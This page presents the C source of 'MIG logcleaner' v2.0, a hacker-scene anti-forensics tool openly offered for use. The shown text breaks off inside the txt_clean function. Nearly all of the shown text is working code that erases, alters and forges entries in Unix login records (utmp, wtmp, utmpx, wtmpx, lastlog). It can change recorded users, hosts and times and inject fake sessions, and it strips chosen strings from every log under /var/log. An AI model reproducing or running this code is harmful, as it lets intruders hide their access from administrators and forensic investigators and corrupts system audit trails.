====== MIG logcleaner ====== MIG logcleaner by no1 (greyhats.za.net) --------------------------------------- This log cleaner removes logs from utmp, wtmp, utmpx, wtmpx, lastlog files. Also removes 2 specified text strings out of every file in a specified directory. Also lets you modify entries as you wish. Also lets you add new entries. ===== code ===== /**************** name : mig-logcleaner.c version : 2.0 1.0 - first version 1.1 - fixed up old bugs and added utmpx/wtmpx support 1.2 - fixed "find" problem 1.3 - wasn't working on sun. fixed (fscking mess!!!) 1.4 - changed shell scripting part 1.5 - rewrote all thing to support BSD also added '-r' option to replace hostname entries in logs 1.6 - added username replacement capability 1.7 - added login/out time changing capability 1.8 - added capability of injecting entries into wtmp/x file 2.0 - recoded all this from 0 and fixed lots of fuckups creation date : 17th of January 2001 last updated : 9th of October 2002 author : no1 ( greyhats.za.net ) description : log cleaner that cleans wtmp, wtmpx, utmp, utmpx, lastlog and all log files in /var/log type dir tested on linux(x86), sun(sparc) and bsd(x86) usage : tar zxvf mig-logcleaner.tar.gz ; cd mig-logcleaner ; make details in readme.mig extra : ya ya ya, i know there r thousand of log cleaners out there... the only reason i coded this is because i needed a cleaner that lets you specify which record specificaly you want to be removed. donno any log cleaner that does that... plus this tool automaticaly removes strings like and out of non-binary files in /var/log type of dirs where all logs are kept. an now it also supports changing usernames & hostnames in records or even adding new records. if you have any comments or ideas, mail me at no1@greyhats.za.net or msg me at http://greyhats.za.net/guestbook/ ****************/ #include #include #include #include #include #include #include #include #include #ifdef LINUX #include #include #include #include #define UTMP UTMP_FILE #define WTMP WTMP_FILE #define LASTLOG _PATH_LASTLOG #endif #ifdef SUN #include #include #include #include #define UTMP UTMP_FILE #define WTMP WTMP_FILE #define LASTLOG "/var/adm/lastlog" #define UTMPX UTMPX_FILE #define WTMPX WTMPX_FILE #endif #ifdef BSD #include #define UTMP _PATH_UTMP #define WTMP _PATH_WTMP #define LASTLOG _PATH_LASTLOG #endif int usage(char *arg); int count_records(char *u, int a, int d); int utmp_clean(char *u, int n, int tota, int d); int utmpx_clean(char *u, int n, int tota, int d); int lastlog_clean(char *u, int d, char *h, char *t, long i, int n); int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d); int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d); int txt_clean(char *D, char *a, char *b, int d); static char *lastlog_hostname = 0; static char *lastlog_time = 0; static char *lastlog_tty = 0; int c = 1, l = 0; int main(int argc, char **argv) { char opt; char user[16]; char dir[256]; char string1[256]; char string2[256]; char new_user[16]; char new_tty[16]; char new_host[256]; char ll_h[256]; char ll_i[256]; char ll_t[256]; long new_login = 0; long new_logout = 0; int replace = 0; int add = 0; int record = (-1); int total1 = 0; int total2 = 0; int debug = 0; int user_check = 0; int dir_check = 0; int new_check = 0; int open_check1 = 0; #ifdef SUN int open_check2 = 0; #endif int flag = 0; bzero(user, sizeof(user)); bzero(dir, sizeof(dir)); bzero(string1, sizeof(string1)); bzero(string2, sizeof(string2)); bzero(new_user, sizeof(new_user)); bzero(new_tty, sizeof(new_tty)); bzero(new_host, sizeof(new_host)); bzero(ll_h, sizeof(ll_h)); bzero(ll_i, sizeof(ll_i)); bzero(ll_t, sizeof(ll_t)); #ifdef SUN strcpy(dir, "/var/adm/"); #endif #ifndef SUN strcpy(dir, "/var/log/"); #endif while((opt = getopt(argc, argv, "u:n:D:a:b:U:T:H:I:O:RAd")) != -1) { switch (opt) { case 'u': { strcpy(user, optarg); user_check++; break; } case 'n': { record = atoi(optarg); break; } case 'D': { bzero(dir, sizeof(dir)); strcpy(dir, optarg); dir_check++; break; } case 'a': { strcpy(string1, optarg); flag++; break; } case 'b': { strcpy(string2, optarg); flag++; break; } case 'U': { strcpy(new_user, optarg); new_check++; break; } case 'T': { strcpy(new_tty, optarg); new_check++; break; } case 'H': { strcpy(new_host, optarg); new_check++; break; } case 'I': { new_login = atol(optarg); new_check++; break; } case 'O': { new_logout = atol(optarg); new_check++; break; } case 'R': { replace++; break; } case 'A': { add++; break; } case 'd': { debug++; break; } } } if((user_check == 0 && add == 0 && dir_check == 0 && flag == 0) || (replace == 1 && add == 1) || (add == 1 && new_check != 5) || (replace == 1 && user_check == 0) || (replace == 1 && new_check == 0) || (replace == 1 && record == 0) || (dir_check == 1 && flag == 0)) { usage(argv[0]); exit(0); } printf("\n******************************\n"); printf("* MIG Logcleaner v2.0 by no1 *\n"); printf("******************************\n\n"); if(record == (-1)) { record = 1; } if(user[0] != 0) total1 = count_records(user, 1, debug); if(total1 == (-1)) { if(debug == 1) fprintf(stderr, "Error opening %s file to count records\n", WTMP); open_check1++; } if(open_check1 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total1)) { utmp_clean(user, record, total1, debug); } #ifdef SUN if(user[0] != 0) total2 = count_records(user, 2, debug); if(total2 == (-1)) { if(debug == 1) fprintf(stderr, "Error opening %s file to count records\n", WTMPX); open_check2++; } if(open_check2 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total2)) { utmpx_clean(user, record, total2, debug); } #endif if(replace == 1 && (record <= total1) #ifdef SUN && (record <= total2) #endif ) { if(l == 1) { strcpy(ll_h, lastlog_hostname); strcpy(ll_i, lastlog_time); strcpy(ll_t, lastlog_tty); } replase(user, record, total1, total2, new_user, new_host, new_login, new_logout, debug); } if(add == 1) { if(user[0] != 0 && (record > total1) #ifdef SUN && (record > total2) #endif ) { usage(argv[0]); exit(0); } addd(user, record, total1, total2, new_user, new_tty, new_host, new_login, new_logout, debug); } if((record == 1 || record == 0) && add == 0) { if(l == 1) { strcpy(ll_h, lastlog_hostname); strcpy(ll_i, lastlog_time); strcpy(ll_t, lastlog_tty); } lastlog_clean(user, debug, ll_h, ll_t, atol(ll_i), record); } if(flag != 0) { txt_clean(dir, string1, string2, debug); } printf("\n"); return (0); } int count_records(char *u, int a, int d) { int fd; int counter = 0; #ifdef SUN if(a == 2) { struct utmpx utmpx_record; if((fd = open(WTMPX, O_RDWR)) == -1) { return (-1); } while(read(fd, (char *) &utmpx_record, sizeof(utmpx_record))) { if(!strcmp(utmpx_record.ut_name, u)) { if(utmpx_record.ut_type != 8) { counter++; } } } fprintf(stdout, "[0x%d] %d entries \"%s\" detected in %s\n", c++, counter, u, WTMPX); } #endif if(a == 1) { struct utmp utmp_record; if((fd = open(WTMP, O_RDWR)) == -1) { return (-1); } while(read(fd, (char *) &utmp_record, sizeof(utmp_record))) { if(!strcmp(utmp_record.ut_name, u)) { #ifndef BSD if(utmp_record.ut_type != 8) #endif counter++; } } fprintf(stdout, "[0x%d] %d users \"%s\" detected in %s\n", c++, counter, u, WTMP); } close(fd); return counter; } int utmp_clean(char *u, int n, int tota, int d) { struct utmp utmp_record; struct utmp wtmp_record; int fd1, fd2; int counter = 0; #ifndef BSD int pid; #endif char line[32]; char host[256]; char command[256]; #ifdef BSD long time; #endif bzero(line, sizeof(line)); bzero(host, sizeof(host)); bzero(command, sizeof(command)); if((fd1 = open(WTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMP); exit(-1); } if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record)) { if((!strcmp(wtmp_record.ut_name, u)) #ifndef BSD && (wtmp_record.ut_type != 8) #endif ) { counter++; if(counter == (tota + 1 - n)) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" entry #%d from %s\n", c++, u, n, WTMP); #ifndef BSD pid = wtmp_record.ut_pid; strcpy(line, wtmp_record.ut_line); #ifndef SUN strcpy(host, wtmp_record.ut_host); #endif #endif #ifdef BSD time = wtmp_record.ut_time; strcpy(line, wtmp_record.ut_line); #endif } else { if(counter == (tota - n)) { char length[16]; l++; bzero(length, sizeof(length)); #ifndef SUN lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1); strcpy(lastlog_tty, wtmp_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1); strcpy(lastlog_hostname, wtmp_record.ut_host); sprintf(length, "%ld", wtmp_record.ut_time); lastlog_time = (char *) malloc(strlen(length) + 1); #ifdef LINUX sprintf(lastlog_time, "%ld", wtmp_record.ut_tv.tv_sec); #else sprintf(lastlog_time, "%ld", wtmp_record.ut_time); #endif #endif } if(n != 0) { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } } else { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } close(fd1); close(fd2); if(n == 0 && counter != 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, WTMP); counter = 0; if((fd1 = open(UTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMP); exit(-1); } if((fd2 = open("/tmp/UTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMP.TMP file\n"); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmp_record, sizeof(utmp_record)) == sizeof(utmp_record)) { if(!strcmp(utmp_record.ut_name, u)) { counter++; #ifndef BSD if((pid == utmp_record.ut_pid) && (!strcmp(utmp_record.ut_line, line)) #ifndef SUN && (!strcmp(utmp_record.ut_host, host)) #endif ) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMP); } #endif #ifdef BSD if((time == utmp_record.ut_time) && (!strcmp(utmp_record.ut_line, line))) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMP); } #endif else { if(n != 0) { write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } } else { write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } close(fd1); close(fd2); if(n == 0 && counter != 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMP); sprintf(command, "mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s", WTMP, UTMP, WTMP, UTMP); system(command); return (0); } #ifdef SUN int utmpx_clean(char *u, int n, int tota, int d) { struct utmpx utmpx_record; struct utmpx wtmpx_record; int fd1, fd2; int counter = 0; int pid; char line[32]; char host[256]; char command[256]; bzero(line, sizeof(line)); bzero(host, sizeof(host)); bzero(command, sizeof(command)); if((fd1 = open(WTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMPX); exit(-1); } if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record))) { if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8)) { counter++; if(counter == (tota + 1 - n)) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" entry #%d from %s\n", c++, u, n, WTMPX); pid = wtmpx_record.ut_pid; strcpy(line, wtmpx_record.ut_line); strcpy(host, wtmpx_record.ut_host); } else { if(counter == (tota - n)) { char length[16]; l++; bzero(length, sizeof(length)); lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1); strcpy(lastlog_tty, wtmpx_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1); strcpy(lastlog_hostname, wtmpx_record.ut_host); sprintf(length, "%ld", wtmpx_record.ut_tv.tv_sec); lastlog_time = (char *) malloc(strlen(length) + 1); sprintf(lastlog_time, "%ld", wtmpx_record.ut_tv.tv_sec); } if(n != 0) { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } } else { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } close(fd1); close(fd2); if(n == 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, WTMPX); counter = 0; if((fd1 = open(UTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMPX); exit(-1); } if((fd2 = open("/tmp/UTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmpx_record, sizeof(utmpx_record))) { if((!strcmp(utmpx_record.ut_name, u))) { counter++; if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, line)) && (!strcmp(utmpx_record.ut_host, host))) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMPX); } else { if(n != 0) { write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } } else { write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } close(fd1); close(fd2); if(n == 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMPX); sprintf(command, "mv /tmp/WTMPX.TMP %s;mv /tmp/UTMPX.TMP %s;chmod 644 %s %s", WTMPX, UTMPX, WTMPX, UTMPX); system(command); return (0); } #endif int lastlog_clean(char *u, int d, char *h, char *t, long i, int n) { struct passwd *password; struct lastlog last; int fd; bzero((char *) &last, sizeof(last)); if((password = getpwnam(u))) { if((fd = open(LASTLOG, O_RDWR)) >= 0) { lseek(fd, (long) password->pw_uid * sizeof(struct lastlog), 0); //read(fd,(char *)&lastlog,sizeof(lastlog)); if(l == 1 && n != 0) { memcpy(last.ll_host, h, sizeof(last.ll_host)); memcpy(last.ll_line, t, sizeof(last.ll_line)); last.ll_time = i; } fprintf(stdout, "[0x%d] Changing \"%s\" coresponding entry in %s\n", c++, u, LASTLOG); //lseek(fd,-(sizeof(struct lastlog)),SEEK_CUR); write(fd, (char *) &last, sizeof(last)); close(fd); } } return (0); } int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d) { struct utmp utmp_record; struct utmp wtmp_record; #ifndef BSD struct timeval tv_start; struct timeval tv_end; int pid; #endif #ifdef BSD struct timespec tv_start; struct timespec tv_end; #endif #ifdef SUN struct utmpx utmpx_record; struct utmpx wtmpx_record; #endif int fd1, fd2; int counter = 0; int replace_check = 0; char line[32]; char host[256]; char command[256]; #ifdef BSD long time; tv_start.tv_sec = I; tv_start.tv_nsec = 0; tv_end.tv_sec = O; tv_end.tv_nsec = 0; #else tv_start.tv_sec = I; tv_start.tv_usec = 0; tv_end.tv_sec = O; tv_end.tv_usec = 0; #endif bzero(line, sizeof(line)); bzero(host, sizeof(host)); bzero(command, sizeof(command)); if(tota1 != (-1)) { if((fd1 = open(WTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMP); exit(-1); } if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record)) { if((!strcmp(wtmp_record.ut_name, u)) #ifndef BSD && (wtmp_record.ut_type != 8) #endif ) { counter++; if(counter == (tota1 + 1 - n)) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" entry #%d from %s\n", c++, u, n, WTMP); #ifndef BSD pid = wtmp_record.ut_pid; strcpy(line, wtmp_record.ut_line); #ifndef SUN strcpy(host, wtmp_record.ut_host); #endif #endif #ifdef BSD time = wtmp_record.ut_time; strcpy(line, wtmp_record.ut_line); strcpy(host, wtmp_record.ut_host); #endif if(U[0] != 0) { bzero(wtmp_record.ut_name, sizeof(wtmp_record.ut_name)); strcpy(wtmp_record.ut_name, U); } #ifndef SUN if(H[0] != 0) { bzero(wtmp_record.ut_host, sizeof(wtmp_record.ut_host)); strcpy(wtmp_record.ut_host, H); } #endif if(I != 0) { #ifdef LINUX wtmp_record.ut_tv.tv_sec = tv_start.tv_sec; #else wtmp_record.ut_time = tv_start.tv_sec; #endif } write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } else { if(counter == (tota1 - n)) { char length[16]; l++; bzero(length, sizeof(length)); #ifndef SUN lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1); strcpy(lastlog_tty, wtmp_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1); strcpy(lastlog_hostname, wtmp_record.ut_host); sprintf(length, "%ld", wtmp_record.ut_time); lastlog_time = (char *) malloc(strlen(length) + 1); #ifdef LINUX sprintf(lastlog_time, "%ld", wtmp_record.ut_tv.tv_sec); #else sprintf(lastlog_time, "%ld", wtmp_record.ut_time); #endif #endif } write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } else { if((replace_check == 1) && (!strcmp(wtmp_record.ut_line, line)) #ifndef BSD && (wtmp_record.ut_type == 8) #endif ) { replace_check--; if(O != 0) { #ifdef LINUX wtmp_record.ut_tv.tv_sec = tv_end.tv_sec; #else wtmp_record.ut_time = tv_end.tv_sec; #endif } } write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } close(fd1); close(fd2); counter = 0; replace_check = 0; if((fd1 = open(UTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMP); exit(-1); } if((fd2 = open("/tmp/UTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMP.TMP file\n"); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmp_record, sizeof(utmp_record)) == sizeof(utmp_record)) { if(!strcmp(utmp_record.ut_name, u)) { counter++; #ifndef BSD if((pid == utmp_record.ut_pid) && #else if((time == utmp_record.ut_time) && #endif (!strcmp(utmp_record.ut_line, line)) #ifdef LINUX && (!strcmp(utmp_record.ut_host, host)) #endif ) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" coresponding entry from %s\n", c++, u, UTMP); if(U[0] != 0) { bzero(utmp_record.ut_name, sizeof(utmp_record.ut_name)); strcpy(utmp_record.ut_name, U); } #ifndef SUN if(H[0] != 0) { bzero(utmp_record.ut_host, sizeof(utmp_record.ut_host)); strcpy(utmp_record.ut_host, H); } #endif if(I != 0) { #ifdef LINUX utmp_record.ut_tv.tv_sec = tv_start.tv_sec; #else utmp_record.ut_time = tv_start.tv_sec; #endif } write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } else { write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } else { if((replace_check == 1) && (!strcmp(utmp_record.ut_line, line)) #ifndef BSD && (utmp_record.ut_type == 8) #endif ) { replace_check--; if(O != 0) { #ifdef LINUX utmp_record.ut_tv.tv_sec = tv_end.tv_sec; #else utmp_record.ut_time = tv_end.tv_sec; #endif } } write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } close(fd1); close(fd2); replace_check = 0; sprintf(command, "mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s", WTMP, UTMP, WTMP, UTMP); system(command); } #ifdef SUN l = 0; if(tota2 != (-1)) { if((fd1 = open(WTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMPX); exit(-1); } if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record))) { if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8)) { counter++; if(counter == (tota2 + 1 - n)) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" entry #%d from %s\n", c++, u, n, WTMPX); pid = wtmpx_record.ut_pid; strcpy(line, wtmpx_record.ut_line); strcpy(host, wtmpx_record.ut_host); if(U[0] != 0) { bzero(wtmpx_record.ut_name, sizeof(wtmpx_record.ut_name)); strcpy(wtmpx_record.ut_name, U); } if(H[0] != 0) { bzero(wtmpx_record.ut_host, sizeof(wtmpx_record.ut_host)); strcpy(wtmpx_record.ut_host, H); } if(I != 0) { wtmpx_record.ut_tv.tv_sec = tv_start.tv_sec; } write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } else { if(counter == (tota2 - n)) { char length[16]; l++; bzero(length, sizeof(length)); lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1); strcpy(lastlog_tty, wtmpx_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1); strcpy(lastlog_hostname, wtmpx_record.ut_host); sprintf(length, "%ld", wtmpx_record.ut_tv.tv_sec); lastlog_time = (char *) malloc(strlen(length) + 1); sprintf(lastlog_time, "%ld", wtmpx_record.ut_tv.tv_sec); } write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } else { if((replace_check == 1) && (!strcmp(wtmpx_record.ut_line, line)) && (wtmpx_record.ut_type == 8)) { replace_check--; if(O != 0) { wtmpx_record.ut_tv.tv_sec = tv_end.tv_sec; } } write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } close(fd1); close(fd2); counter = 0; replace_check = 0; if((fd1 = open(UTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMPX); exit(-1); } if((fd2 = open("/tmp/UTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmpx_record, sizeof(utmpx_record))) { if((!strcmp(utmpx_record.ut_name, u))) { counter++; if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, line)) && (!strcmp(utmpx_record.ut_host, host))) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" coresponding entry from %s\n", c++, u, UTMPX); if(U[0] != 0) { bzero(utmpx_record.ut_name, sizeof(utmpx_record.ut_name)); strcpy(utmpx_record.ut_name, U); } if(H[0] != 0) { bzero(utmpx_record.ut_host, sizeof(utmpx_record.ut_host)); strcpy(utmpx_record.ut_host, H); } if(I != 0) { utmpx_record.ut_tv.tv_sec = tv_start.tv_sec; } write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } else { if(n != 0) { write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } } else { if((replace_check == 1) && (!strcmp(utmpx_record.ut_line, line)) && (utmpx_record.ut_type == 8)) { replace_check = 0; if(O != 0) { utmpx_record.ut_tv.tv_sec = tv_end.tv_sec; } } write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } close(fd1); close(fd2); if(n == 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMPX); sprintf(command, "mv /tmp/WTMPX.TMP %s;mv /tmp/UTMPX.TMP %s;chmod 644 %s %s", WTMPX, UTMPX, WTMPX, UTMPX); system(command); } #endif return (0); } int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d) { struct utmp wtmp_record; struct utmp new_wtmp_in_record; struct utmp new_wtmp_out_record; #ifdef SUN struct utmpx wtmpx_record; struct utmpx new_wtmpx_in_record; struct utmpx new_wtmpx_out_record; #endif int fd1; int fd2; int counter = 0; int check = 0; char command[256]; bzero(command, sizeof(command)); // Create new entries #ifndef BSD new_wtmp_in_record.ut_type = 7; new_wtmp_in_record.ut_pid = 0; new_wtmp_in_record.ut_exit.e_termination = 0; new_wtmp_in_record.ut_exit.e_exit = 0; #ifndef SUN new_wtmp_in_record.ut_session = 0; new_wtmp_in_record.ut_tv.tv_sec = I; new_wtmp_in_record.ut_tv.tv_usec = 0; #else new_wtmp_in_record.ut_time = I; #endif strcpy(new_wtmp_in_record.ut_user, U); strcpy(new_wtmp_in_record.ut_line, T); #ifndef SUN strcpy(new_wtmp_in_record.ut_host, H); #endif new_wtmp_out_record.ut_type = 8; new_wtmp_out_record.ut_pid = 0; new_wtmp_out_record.ut_exit.e_termination = 0; new_wtmp_out_record.ut_exit.e_exit = 0; #ifndef SUN new_wtmp_out_record.ut_session = 0; new_wtmp_out_record.ut_tv.tv_sec = O; new_wtmp_out_record.ut_tv.tv_usec = 0; #else new_wtmp_out_record.ut_time = O; #endif strcpy(new_wtmp_out_record.ut_user, U); strcpy(new_wtmp_out_record.ut_line, T); #ifndef SUN strcpy(new_wtmp_out_record.ut_host, H); #endif #endif #ifdef BSD new_wtmp_in_record.ut_time = I; strcpy(new_wtmp_in_record.ut_name, U); strcpy(new_wtmp_in_record.ut_line, T); strcpy(new_wtmp_in_record.ut_host, H); new_wtmp_out_record.ut_time = O; strcpy(new_wtmp_out_record.ut_name, ""); strcpy(new_wtmp_out_record.ut_line, T); strcpy(new_wtmp_out_record.ut_host, H); #endif #ifdef SUN new_wtmpx_in_record.ut_type = 7; new_wtmpx_in_record.ut_pid = 0; new_wtmpx_in_record.ut_exit.e_termination = 0; new_wtmpx_in_record.ut_exit.e_exit = 0; new_wtmpx_in_record.ut_session = 0; new_wtmpx_in_record.ut_tv.tv_sec = I; new_wtmpx_in_record.ut_tv.tv_usec = 0; strcpy(new_wtmpx_in_record.ut_user, U); strcpy(new_wtmpx_in_record.ut_line, T); strcpy(new_wtmpx_in_record.ut_host, H); new_wtmpx_out_record.ut_type = 8; new_wtmpx_out_record.ut_pid = 0; new_wtmpx_out_record.ut_exit.e_termination = 0; new_wtmpx_out_record.ut_exit.e_exit = 0; new_wtmpx_out_record.ut_session = 0; new_wtmpx_out_record.ut_tv.tv_sec = O; new_wtmpx_out_record.ut_tv.tv_usec = 0; strcpy(new_wtmpx_out_record.ut_user, ""); strcpy(new_wtmpx_out_record.ut_line, T); strcpy(new_wtmpx_out_record.ut_host, H); #endif if((fd1 = open(WTMP, O_RDWR)) != (-1)) { if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == (-1)) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n"); } while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record)) { if((!strcmp(wtmp_record.ut_name, u)) #ifndef BSD && (wtmp_record.ut_type != 8) #endif ) { counter++; if(counter == (tota1 + 1 - n)) { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); write(fd2, (char *) &new_wtmp_in_record, sizeof(new_wtmp_in_record)); write(fd2, (char *) &new_wtmp_out_record, sizeof(new_wtmp_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" before %d entry of user \"%s\" in %s file\n", c++, U, n, u, WTMP); } else { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } else { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } if(u[0] == 0 && check == 0) { write(fd2, (char *) &new_wtmp_in_record, sizeof(new_wtmp_in_record)); write(fd2, (char *) &new_wtmp_out_record, sizeof(new_wtmp_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" entry on top of %s file\n", c++, U, WTMP); check++; } close(fd1); close(fd2); sprintf(command, "mv /tmp/WTMP.TMP %s;chmod 644 %s", WTMP, WTMP); system(command); } else { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMP); } counter = 0; check = 0; #ifdef SUN if((fd1 = open(WTMPX, O_RDWR)) != (-1)) { if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == (-1)) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n"); } while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record)) == sizeof(wtmpx_record)) { if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8)) { counter++; if(counter == (tota2 + 1 - n)) { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); write(fd2, (char *) &new_wtmpx_in_record, sizeof(new_wtmpx_in_record)); write(fd2, (char *) &new_wtmpx_out_record, sizeof(new_wtmpx_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" before %d entry of user \"%s\" in %s file\n", c++, U, n, u, WTMPX); } else { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } else { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } if(u[0] == 0 && check == 0) { write(fd2, (char *) &new_wtmpx_in_record, sizeof(new_wtmpx_in_record)); write(fd2, (char *) &new_wtmpx_out_record, sizeof(new_wtmpx_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" entry on top of %s file\n", c++, U, WTMPX); check++; } close(fd1); close(fd2); sprintf(command, "mv /tmp/WTMPX.TMP %s;chmod 644 %s", WTMPX, WTMPX); system(command); } else { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMPX); } #endif return (0); } int txt_clean(char *D, char *a, char *b, int d) { char command[999]; bzero(command,sizeof(command)); sprintf(command,"echo \"find %s -type f|grep -v \ wtmp|grep -v utmp|grep -v lastlog>/tmp/dirs.\ IP\">/tmp/mig.sh;echo \"if [ -s /tmp/dirs.IP ]\">\ >/tmp/mig.sh;echo then>>/tmp/mig.sh;echo \"set \\`cat \ /tmp/dirs.IP\\`\">>/tmp/mig.sh;echo \"for F1 in \\ \`echo \\$@\\`\">>/tmp/mig.sh;echo 